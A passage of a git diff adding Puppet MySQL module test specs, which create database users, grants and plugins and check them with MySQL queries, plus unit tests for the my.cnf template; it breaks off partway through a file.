MANIFEST + it 'works without errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the user #stdout' do + shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r| + expect(r.stdout).to match(%r{GRANT SELECT, UPDATE.*TO 'test2'@'tester'}) + end + end + it 'finds the user #stderr' do + shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'adding privileges with special character in name' do + pp = <<-MANIFEST + mysql_user { 'test-2@tester': + ensure => present, + } + mysql_grant { 'test-2@tester/test.*': + ensure => 'present', + table => 'test.*', + user => 'test-2@tester', + privileges => ['SELECT', 'UPDATE'], + require => Mysql_user['test-2@tester'], + } + MANIFEST + it 'works without errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the user #stdout' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test-2'@tester\"") do |r| + expect(r.stdout).to match(%r{GRANT SELECT, UPDATE.*TO 'test-2'@'tester'}) + end + end + it 'finds the user #stderr' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test-2'@tester\"") do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'adding option' do + pp = <<-MANIFEST + mysql_user { 'test3@tester': + ensure => present, + } + mysql_grant { 'test3@tester/test.*': + ensure => 'present', + table => 'test.*', + user => 'test3@tester', + options => ['GRANT'], + privileges => ['SELECT', 'UPDATE'], + require => Mysql_user['test3@tester'], + } + MANIFEST + it 'works without errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the user #stdout' do + shell('mysql -NBe "SHOW GRANTS FOR test3@tester"') do |r| + expect(r.stdout).to match(%r{GRANT SELECT, UPDATE ON `test`.* TO 'test3'@'tester' WITH GRANT OPTION$}) + end + end + it 'finds the user #stderr' do + shell('mysql -NBe "SHOW GRANTS FOR test3@tester"') do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'adding all privileges without table' do + pp = <<-MANIFEST + mysql_user { 'test4@tester': + ensure => present, + } + mysql_grant { 'test4@tester/test.*': + ensure => 'present', + user => 'test4@tester', + options => ['GRANT'], + privileges => ['SELECT', 'UPDATE', 'ALL'], + require => Mysql_user['test4@tester'], + } + MANIFEST + it 'fails' do + expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`table` `parameter` is required.}) + end + end + + describe 'adding all privileges' do + pp = <<-MANIFEST + mysql_user { 'test4@tester': + ensure => present, + } + mysql_grant { 'test4@tester/test.*': + ensure => 'present', + table => 'test.*', + user => 'test4@tester', + options => ['GRANT'], + privileges => ['SELECT', 'UPDATE', 'ALL'], + require => Mysql_user['test4@tester'], + } + MANIFEST + it 'onlies try to apply ALL' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the user #stdout' do + shell('mysql -NBe "SHOW GRANTS FOR test4@tester"') do |r| + expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test4'@'tester' WITH GRANT OPTION}) + end + end + it 'finds the user #stderr' do + shell('mysql -NBe "SHOW GRANTS FOR test4@tester"') do |r| + expect(r.stderr).to be_empty + end + end + end + + # Test combinations of user@host to ensure all cases work. + describe 'short hostname' do + pp = <<-MANIFEST + mysql_user { 'test@short': + ensure => present, + } + mysql_grant { 'test@short/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@short', + privileges => 'ALL', + require => Mysql_user['test@short'], + } + mysql_user { 'test@long.hostname.com': + ensure => present, + } + mysql_grant { 'test@long.hostname.com/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@long.hostname.com', + privileges => 'ALL', + require => Mysql_user['test@long.hostname.com'], + } + mysql_user { 'test@192.168.5.6': + ensure => present, + } + mysql_grant { 'test@192.168.5.6/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@192.168.5.6', + privileges => 'ALL', + require => Mysql_user['test@192.168.5.6'], + } + mysql_user { 'test@2607:f0d0:1002:0051:0000:0000:0000:0004': + ensure => present, + } + mysql_grant { 'test@2607:f0d0:1002:0051:0000:0000:0000:0004/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@2607:f0d0:1002:0051:0000:0000:0000:0004', + privileges => 'ALL', + require => Mysql_user['test@2607:f0d0:1002:0051:0000:0000:0000:0004'], + } + mysql_user { 'test@::1/128': + ensure => present, + } + mysql_grant { 'test@::1/128/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@::1/128', + privileges => 'ALL', + require => Mysql_user['test@::1/128'], + } + MANIFEST + it 'applies' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds short hostname #stdout' do + shell('mysql -NBe "SHOW GRANTS FOR test@short"') do |r| + expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'short'}) + end + end + it 'finds short hostname #stderr' do + shell('mysql -NBe "SHOW GRANTS FOR test@short"') do |r| + expect(r.stderr).to be_empty + end + end + + it 'finds long hostname #stdout' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'long.hostname.com'\"") do |r| + expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'long.hostname.com'}) + end + end + it 'finds long hostname #stderr' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'long.hostname.com'\"") do |r| + expect(r.stderr).to be_empty + end + end + + it 'finds ipv4 #stdout' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.6'\"") do |r| + expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'192.168.5.6'}) + end + end + it 'finds ipv4 #stderr' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.6'\"") do |r| + expect(r.stderr).to be_empty + end + end + + it 'finds ipv6 #stdout' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'2607:f0d0:1002:0051:0000:0000:0000:0004'\"") do |r| + expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'2607:f0d0:1002:0051:0000:0000:0000:0004'}) + end + end + it 'finds ipv6 #stderr' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'2607:f0d0:1002:0051:0000:0000:0000:0004'\"") do |r| + expect(r.stderr).to be_empty + end + end + + it 'finds short ipv6 #stdout' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'::1/128'\"") do |r| + expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'::1\/128'}) + end + end + it 'finds short ipv6 @stderr' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'::1/128'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'complex test' do + pp = <<-MANIFEST + $dbSubnet = '10.10.10.%' + + mysql_database { 'foo': + ensure => present, + } + + exec { 'mysql-create-table': + command => '/usr/bin/mysql -NBe "CREATE TABLE foo.bar (name VARCHAR(20))"', + environment => "HOME=${::root_home}", + unless => '/usr/bin/mysql -NBe "SELECT 1 FROM foo.bar LIMIT 1;"', + require => Mysql_database['foo'], + } + + Mysql_grant { + ensure => present, + options => ['GRANT'], + privileges => ['ALL'], + table => '*.*', + require => [ Mysql_database['foo'], Exec['mysql-create-table'] ], + } + + mysql_user { "user1@${dbSubnet}": + ensure => present, + } + mysql_grant { "user1@${dbSubnet}/*.*": + user => "user1@${dbSubnet}", + require => Mysql_user["user1@${dbSubnet}"], + } + mysql_user { "user2@${dbSubnet}": + ensure => present, + } + mysql_grant { "user2@${dbSubnet}/foo.bar": + privileges => ['SELECT', 'INSERT', 'UPDATE'], + user => "user2@${dbSubnet}", + table => 'foo.bar', + require => Mysql_user["user2@${dbSubnet}"], + } + mysql_user { "user3@${dbSubnet}": + ensure => present, + } + mysql_grant { "user3@${dbSubnet}/foo.*": + privileges => ['SELECT', 'INSERT', 'UPDATE'], + user => "user3@${dbSubnet}", + table => 'foo.*', + require => Mysql_user["user3@${dbSubnet}"], + } + mysql_user { 'web@%': + ensure => present, + } + mysql_grant { 'web@%/*.*': + user => 'web@%', + require => Mysql_user['web@%'], + } + mysql_user { "web@${dbSubnet}": + ensure => present, + } + mysql_grant { "web@${dbSubnet}/*.*": + user => "web@${dbSubnet}", + require => Mysql_user["web@${dbSubnet}"], + } + mysql_user { "web@${fqdn}": + ensure => present, + } + mysql_grant { "web@${fqdn}/*.*": + user => "web@${fqdn}", + require => Mysql_user["web@${fqdn}"], + } + mysql_user { 'web@localhost': + ensure => present, + } + mysql_grant { 'web@localhost/*.*': + user => 'web@localhost', + require => Mysql_user['web@localhost'], + } + MANIFEST + it 'setup mysql::server' do + apply_manifest(pp, catch_failures: true) + apply_manifest(pp, catch_changes: true) + end + end + + describe 'lower case privileges' do + pp_one = <<-MANIFEST + mysql_user { 'lowercase@localhost': + ensure => present, + } + mysql_grant { 'lowercase@localhost/*.*': + user => 'lowercase@localhost', + privileges => 'ALL', + table => '*.*', + require => Mysql_user['lowercase@localhost'], + } + MANIFEST + it 'create ALL privs' do + apply_manifest(pp_one, catch_failures: true) + end + + pp_two = <<-MANIFEST + mysql_user { 'lowercase@localhost': + ensure => present, + } + mysql_grant { 'lowercase@localhost/*.*': + user => 'lowercase@localhost', + privileges => 'all', + table => '*.*', + require => Mysql_user['lowercase@localhost'], + } + MANIFEST + it 'create lowercase all privs' do + expect(apply_manifest(pp_two, catch_failures: true).exit_code).to eq(0) + end + end + + describe 'adding procedure privileges' do + pp = <<-MANIFEST + exec { 'simpleproc-create': + command => 'mysql --user="root" --password="password" --database=mysql --delimiter="//" -NBe "CREATE PROCEDURE simpleproc (OUT param1 INT) BEGIN SELECT COUNT(*) INTO param1 FROM t; end//"', + path => '/usr/bin/', + before => Mysql_user['test2@tester'], + } + mysql_user { 'test2@tester': + ensure => present, + } + mysql_grant { 'test2@tester/PROCEDURE mysql.simpleproc': + ensure => 'present', + table => 'PROCEDURE mysql.simpleproc', + user => 'test2@tester', + privileges => ['EXECUTE'], + require => Mysql_user['test2@tester'], + } + MANIFEST + it 'works without errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the user #stdout' do + shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r| + expect(r.stdout).to match(%r{GRANT EXECUTE ON PROCEDURE `mysql`.`simpleproc` TO 'test2'@'tester'}) + end + end + it 'finds the user #stderr' do + shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'adding function privileges' do + it 'works without errors' do + pp = <<-EOS + exec { 'simplefunc-create': + command => '/usr/bin/mysql --user="root" --password="password" --database=mysql -NBe "CREATE FUNCTION simplefunc (s CHAR(20)) RETURNS CHAR(50) DETERMINISTIC RETURN CONCAT(\\'Hello, \\', s, \\'!\\')"', + before => Mysql_user['test3@tester'], + } + + mysql_user { 'test3@tester': + ensure => 'present', + } + + mysql_grant { 'test3@tester/FUNCTION mysql.simplefunc': + ensure => 'present', + table => 'FUNCTION mysql.simplefunc', + user => 'test3@tester', + privileges => ['EXECUTE'], + require => Mysql_user['test3@tester'], + } + EOS + + apply_manifest(pp, catch_failures: true) + end + # rubocop:enable RSpec/ExampleLength + it 'finds the user' do + shell('mysql -NBe "SHOW GRANTS FOR test3@tester"') do |r| + expect(r.stdout).to match(%r{GRANT EXECUTE ON FUNCTION `mysql`.`simplefunc` TO 'test3'@'tester'}) + expect(r.stderr).to be_empty + end + end + # rubocop:enable RSpec/MultipleExpectations + end + + describe 'proxy privilieges' do + pre_run + + describe 'adding proxy privileges', if: version_is_greater_than('5.5.0') do + pp = <<-MANIFEST + mysql_user { 'proxy1@tester': + ensure => present, + } + mysql_grant { 'proxy1@tester/proxy_user@proxy_host': + ensure => 'present', + table => 'proxy_user@proxy_host', + user => 'proxy1@tester', + privileges => ['PROXY'], + require => Mysql_user['proxy1@tester'], + } + MANIFEST + it 'works without errors when version greater than 5.5.0' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the user #stdout' do + shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r| + expect(r.stdout).to match(%r{GRANT PROXY ON 'proxy_user'@'proxy_host' TO 'proxy1'@'tester'}) + end + end + it 'finds the user #stderr' do + shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'removing proxy privileges', if: version_is_greater_than('5.5.0') do + pp = <<-MANIFEST + mysql_user { 'proxy1@tester': + ensure => present, + } + mysql_grant { 'proxy1@tester/proxy_user@proxy_host': + ensure => 'absent', + table => 'proxy_user@proxy_host', + user => 'proxy1@tester', + privileges => ['PROXY'], + require => Mysql_user['proxy1@tester'], + } + MANIFEST + it 'works without errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the user #stdout' do + shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r| + expect(r.stdout).not_to match(%r{GRANT PROXY ON 'proxy_user'@'proxy_host' TO 'proxy1'@'tester'}) + end + end + it 'finds the user #stderr' do + shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'adding proxy privileges with other privileges', if: version_is_greater_than('5.5.0') do + pp = <<-MANIFEST + mysql_user { 'proxy2@tester': + ensure => present, + } + mysql_grant { 'proxy2@tester/proxy_user@proxy_host': + ensure => 'present', + table => 'proxy_user@proxy_host', + user => 'proxy2@tester', + privileges => ['PROXY', 'SELECT'], + require => Mysql_user['proxy2@tester'], + } + MANIFEST + it 'fails' do + expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`privileges` `parameter`: PROXY can only be specified by itself}) + end + + it 'does not find the user' do + expect(shell('mysql -NBe "SHOW GRANTS FOR proxy2@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'proxy2' on host 'tester'}) + end + end + + describe 'adding proxy privileges with mysql version less than 5.5.0', unless: version_is_greater_than('5.5.0') do + pp = <<-MANIFEST + mysql_user { 'proxy3@tester': + ensure => present, + } + mysql_grant { 'proxy3@tester/proxy_user@proxy_host': + ensure => 'present', + table => 'proxy_user@proxy_host', + user => 'proxy3@tester', + privileges => ['PROXY', 'SELECT'], + require => Mysql_user['proxy3@tester'], + } + MANIFEST + it 'fails' do + expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{PROXY user not supported on mysql versions < 5\.5\.0}i) + end + + it 'does not find the user' do + expect(shell('mysql -NBe "SHOW GRANTS FOR proxy2@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'proxy2' on host 'tester'}) + end + end + + describe 'adding proxy privileges with invalid proxy user', if: version_is_greater_than('5.5.0') do + pp = <<-MANIFEST + mysql_user { 'proxy3@tester': + ensure => present, + } + mysql_grant { 'proxy3@tester/invalid_proxy_user': + ensure => 'present', + table => 'invalid_proxy_user', + user => 'proxy3@tester', + privileges => ['PROXY'], + require => Mysql_user['proxy3@tester'], + } + MANIFEST + it 'fails' do + expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`table` `property` for PROXY should be specified as proxy_user@proxy_host.}) + end + + it 'does not find the user' do + expect(shell('mysql -NBe "SHOW GRANTS FOR proxy3@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'proxy3' on host 'tester'}) + end + end + end + + describe 'grants with skip-name-resolve specified' do + pp_one = <<-MANIFEST + class { 'mysql::server': + override_options => { + 'mysqld' => {'skip-name-resolve' => true} + }, + restart => true, + } + MANIFEST + it 'setup mysql::server' do + apply_manifest(pp_one, catch_failures: true) + end + + pp_two = <<-MANIFEST + mysql_user { 'test@fqdn.com': + ensure => present, + } + mysql_grant { 'test@fqdn.com/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@fqdn.com', + privileges => 'ALL', + require => Mysql_user['test@fqdn.com'], + } + mysql_user { 'test@192.168.5.7': + ensure => present, + } + mysql_grant { 'test@192.168.5.7/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@192.168.5.7', + privileges => 'ALL', + require => Mysql_user['test@192.168.5.7'], + } + MANIFEST + it 'applies' do + apply_manifest(pp_two, catch_failures: true) + end + + it 'fails with fqdn' do + pre_run + unless version_is_greater_than('5.7.0') + expect(shell('mysql -NBe "SHOW GRANTS FOR test@fqdn.com"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'test' on host 'fqdn.com'}) + end + end + + it 'finds ipv4 #stdout' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.7'\"") do |r| + expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'192.168.5.7'}) + end + end + it 'finds ipv4 #stderr' do + shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.7'\"") do |r| + expect(r.stderr).to be_empty + end + end + + pp_three = <<-MANIFEST + mysql_user { 'test@fqdn.com': + ensure => present, + } + mysql_grant { 'test@fqdn.com/test.*': + ensure => 'present', + table => 'test.*', + user => 'test@fqdn.com', + privileges => 'ALL', + require => Mysql_user['test@fqdn.com'], + } + MANIFEST + it 'fails to execute while applying' do + mysql_cmd = shell('which mysql').stdout.chomp + shell("mv #{mysql_cmd} #{mysql_cmd}.bak") + expect(apply_manifest(pp_three, expect_failures: true).stderr).to match(%r{Could not find a suitable provider for mysql_grant}) + shell("mv #{mysql_cmd}.bak #{mysql_cmd}") + end + + pp_four = <<-MANIFEST + class { 'mysql::server': + restart => true, + } + MANIFEST + it 'reset mysql::server config' do + apply_manifest(pp_four, catch_failures: true) + end + end + + describe 'adding privileges to specific table' do + # Using puppet_apply as a helper + pp_one = <<-MANIFEST + class { 'mysql::server': override_options => { 'root_password' => 'password' } } + MANIFEST + it 'setup mysql server' do + apply_manifest(pp_one, catch_failures: true) + end + + pp_two = <<-MANIFEST + mysql_user { 'test@localhost': + ensure => present, + } + mysql_grant { 'test@localhost/grant_spec_db.grant_spec_table': + user => 'test@localhost', + privileges => ['SELECT'], + table => 'grant_spec_db.grant_spec_table', + require => Mysql_user['test@localhost'], + } + MANIFEST + it 'creates grant on missing table will fail' do + expect(apply_manifest(pp_two, expect_failures: true).stderr).to match(%r{Table 'grant_spec_db\.grant_spec_table' doesn't exist}) + end + + pp_three = <<-MANIFEST + file { '/tmp/grant_spec_table.sql': + ensure => file, + content => 'CREATE TABLE grant_spec_table (id int);', + before => Mysql::Db['grant_spec_db'], + } + mysql::db { 'grant_spec_db': + user => 'root1', + password => 'password', + sql => '/tmp/grant_spec_table.sql', + } + MANIFEST + it 'creates table' do + apply_manifest(pp_three, catch_failures: true) + end + + it 'has the table' do + expect(shell("mysql -e 'show tables;' grant_spec_db|grep grant_spec_table").exit_code).to be_zero + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb new file mode 100644 index 000000000..463523a8e --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb @@ -0,0 +1,78 @@ +require 'spec_helper_acceptance' + +# Different operating systems (and therefore different versions/forks +# of mysql) have varying levels of support for plugins and have +# different plugins available. Choose a plugin that works or don't try +# to test plugins if not available. +if fact('osfamily') =~ %r{RedHat} + if fact('operatingsystemrelease') =~ %r{^5\.} + plugin = nil # Plugins not supported on mysql on RHEL 5 + elsif fact('operatingsystemrelease') =~ %r{^6\.} + plugin = 'example' + plugin_lib = 'ha_example.so' + elsif fact('operatingsystemrelease') =~ %r{^7\.} + plugin = 'pam' + plugin_lib = 'auth_pam.so' + end +elsif fact('osfamily') =~ %r{Debian} + if fact('operatingsystem') =~ %r{Debian} + if fact('operatingsystemrelease') =~ %r{^6\.} + # Only available plugin is innodb which is already loaded and not unload- or reload-able + plugin = nil + elsif fact('operatingsystemrelease') =~ %r{^7\.} + plugin = 'example' + plugin_lib = 'ha_example.so' + end + elsif fact('operatingsystem') =~ %r{Ubuntu} + if fact('operatingsystemrelease') =~ %r{^10\.04} + # Only available plugin is innodb which is already loaded and not unload- or reload-able + plugin = nil + elsif fact('operatingsystemrelease') =~ %r{^16\.04} + # On Xenial running 5.7.12, the example plugin does not appear to be available. + plugin = 'validate_password' + plugin_lib = 'validate_password.so' + else + plugin = 'example' + plugin_lib = 'ha_example.so' + end + end +elsif fact('osfamily') =~ %r{Suse} + plugin = nil # Plugin library path is broken on Suse http://lists.opensuse.org/opensuse-bugs/2013-08/msg01123.html +end + +describe 'mysql_plugin' do + if plugin # if plugins are supported + describe 'setup' do + it 'works with no errors' do + pp = <<-MANIFEST + class { 'mysql::server': } + MANIFEST + + apply_manifest(pp, catch_failures: true) + end + end + + describe 'load plugin' do + pp = <<-MANIFEST + mysql_plugin { #{plugin}: + ensure => present, + soname => '#{plugin_lib}', + } + MANIFEST + it 'works without errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the plugin #stdout' do + shell("mysql -NBe \"select plugin_name from information_schema.plugins where plugin_name='#{plugin}'\"") do |r| + expect(r.stdout).to match(%r{^#{plugin}$}i) + end + end + it 'finds the plugin #stderr' do + shell("mysql -NBe \"select plugin_name from information_schema.plugins where plugin_name='#{plugin}'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb new file mode 100644 index 000000000..507fcf881 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb @@ -0,0 +1,214 @@ +require 'spec_helper_acceptance' +require_relative '../mysql_helper.rb' + +describe 'mysql_user' do + describe 'setup' do + pp_one = <<-MANIFEST + class { 'mysql::server': } + MANIFEST + it 'works with no errors' do + apply_manifest(pp_one, catch_failures: true) + end + end + + context 'using ashp@localhost' do + describe 'adding user' do + pp_two = <<-MANIFEST + mysql_user { 'ashp@localhost': + password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5', + } + MANIFEST + it 'works without errors' do + apply_manifest(pp_two, catch_failures: true) + end + + it 'finds the user #stdout' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stdout).to match(%r{^1$}) + end + end + it 'finds the user #stderr' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + + it 'has no SSL options #stdout' do + shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stdout).to match(%r{^\s*$}) + end + end + it 'has no SSL options #stderr' do + shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + + pre_run + describe 'changing authentication plugin', if: version_is_greater_than('5.5.0') do + it 'works without errors' do + pp = <<-EOS + mysql_user { 'ashp@localhost': + plugin => 'auth_socket', + } + EOS + + apply_manifest(pp, catch_failures: true) + end + + it 'has the correct plugin' do + shell("mysql -NBe \"select plugin from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stdout.rstrip).to eq('auth_socket') + expect(r.stderr).to be_empty + end + end + + it 'does not have a password' do + pre_run + table = if version_is_greater_than('5.7.0') + 'authentication_string' + else + 'password' + end + shell("mysql -NBe \"select #{table} from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stdout.rstrip).to be_empty + expect(r.stderr).to be_empty + end + end + end + # rubocop:enable RSpec/ExampleLength, RSpec/MultipleExpectations + end + + context 'using ashp-dash@localhost' do + describe 'adding user' do + pp_three = <<-MANIFEST + mysql_user { 'ashp-dash@localhost': + password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5', + } + MANIFEST + it 'works without errors' do + apply_manifest(pp_three, catch_failures: true) + end + + it 'finds the user #stdout' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp-dash@localhost'\"") do |r| + expect(r.stdout).to match(%r{^1$}) + end + end + it 'finds the user #stderr' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp-dash@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + end + + context 'using ashp@LocalHost' do + describe 'adding user' do + pp_four = <<-MANIFEST + mysql_user { 'ashp@LocalHost': + password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5', + } + MANIFEST + it 'works without errors' do + apply_manifest(pp_four, catch_failures: true) + end + + it 'finds the user #stdout' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stdout).to match(%r{^1$}) + end + end + it 'finds the user #stderr' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + end + context 'using resource should throw no errors' do + describe 'find users' do + it do + on default, puppet('resource mysql_user'), catch_failures: true do |r| + expect(r.stdout).not_to match(%r{Error:}) + end + end + it do + on default, puppet('resource mysql_user'), catch_failures: true do |r| + expect(r.stdout).not_to match(%r{must be properly quoted, invalid character:}) + end + end + end + end + context 'using user-w-ssl@localhost with SSL' do + describe 'adding user' do + pp_five = <<-MANIFEST + mysql_user { 'user-w-ssl@localhost': + password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5', + tls_options => ['SSL'], + } + MANIFEST + it 'works without errors' do + apply_manifest(pp_five, catch_failures: true) + end + + it 'finds the user #stdout' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r| + expect(r.stdout).to match(%r{^1$}) + end + end + it 'finds the user #stderr' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + + it 'shows correct ssl_type #stdout' do + shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r| + expect(r.stdout).to match(%r{^ANY$}) + end + end + it 'shows correct ssl_type #stderr' do + shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + end + context 'using user-w-x509@localhost with X509' do + describe 'adding user' do + pp_six = <<-MANIFEST + mysql_user { 'user-w-x509@localhost': + password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5', + tls_options => ['X509'], + } + MANIFEST + it 'works without errors' do + apply_manifest(pp_six, catch_failures: true) + end + + it 'finds the user #stdout' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r| + expect(r.stdout).to match(%r{^1$}) + end + end + it 'finds the user #stderr' do + shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + + it 'shows correct ssl_type #stdout' do + shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r| + expect(r.stdout).to match(%r{^X509$}) + end + end + it 'shows correct ssl_type #stderr' do + shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/graceful_failures_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/graceful_failures_spec.rb new file mode 100644 index 000000000..22a677b2f --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/graceful_failures_spec.rb @@ -0,0 +1,16 @@ +require 'spec_helper' + +describe 'mysql::server' do + context 'on an unsupported OS' do + let(:facts) do + { + osfamily: 'UNSUPPORTED', + operatingsystem: 'UNSUPPORTED', + } + end + + it 'gracefully fails' do + is_expected.to compile.and_raise_error(%r{Unsupported platform:}) + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mycnf_template_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mycnf_template_spec.rb new file mode 100644 index 000000000..63ec2e32d --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mycnf_template_spec.rb @@ -0,0 +1,85 @@ +require 'spec_helper' + +describe 'mysql::server' do + on_supported_os.each do |os, facts| + context "my.cnf template - on #{os}" do + let(:facts) do + facts.merge(root_home: '/root') + end + + context 'normal entry' do + let(:params) { { override_options: { 'mysqld' => { 'socket' => '/var/lib/mysql/mysql.sock' } } } } + + it do + is_expected.to contain_file('mysql-config-file').with(mode: '0644', + selinux_ignore_defaults: true).with_content(%r{socket = \/var\/lib\/mysql\/mysql.sock}) + end + end + + describe 'array entry' do + let(:params) { { override_options: { 'mysqld' => { 'replicate-do-db' => %w[base1 base2] } } } } + + it do + is_expected.to contain_file('mysql-config-file').with_content( + %r{.*replicate-do-db = base1\nreplicate-do-db = base2.*}, + ) + end + end + + describe 'skip-name-resolve set to an empty string' do + let(:params) { { override_options: { 'mysqld' => { 'skip-name-resolve' => '' } } } } + + it { is_expected.to contain_file('mysql-config-file').with_content(%r{^skip-name-resolve$}) } + end + + describe 'ssl set to true' do + let(:params) { { override_options: { 'mysqld' => { 'ssl' => true } } } } + + it { is_expected.to contain_file('mysql-config-file').with_content(%r{ssl}) } + it { is_expected.to contain_file('mysql-config-file').without_content(%r{ssl = true}) } + end + + describe 'ssl set to false' do + let(:params) { { override_options: { 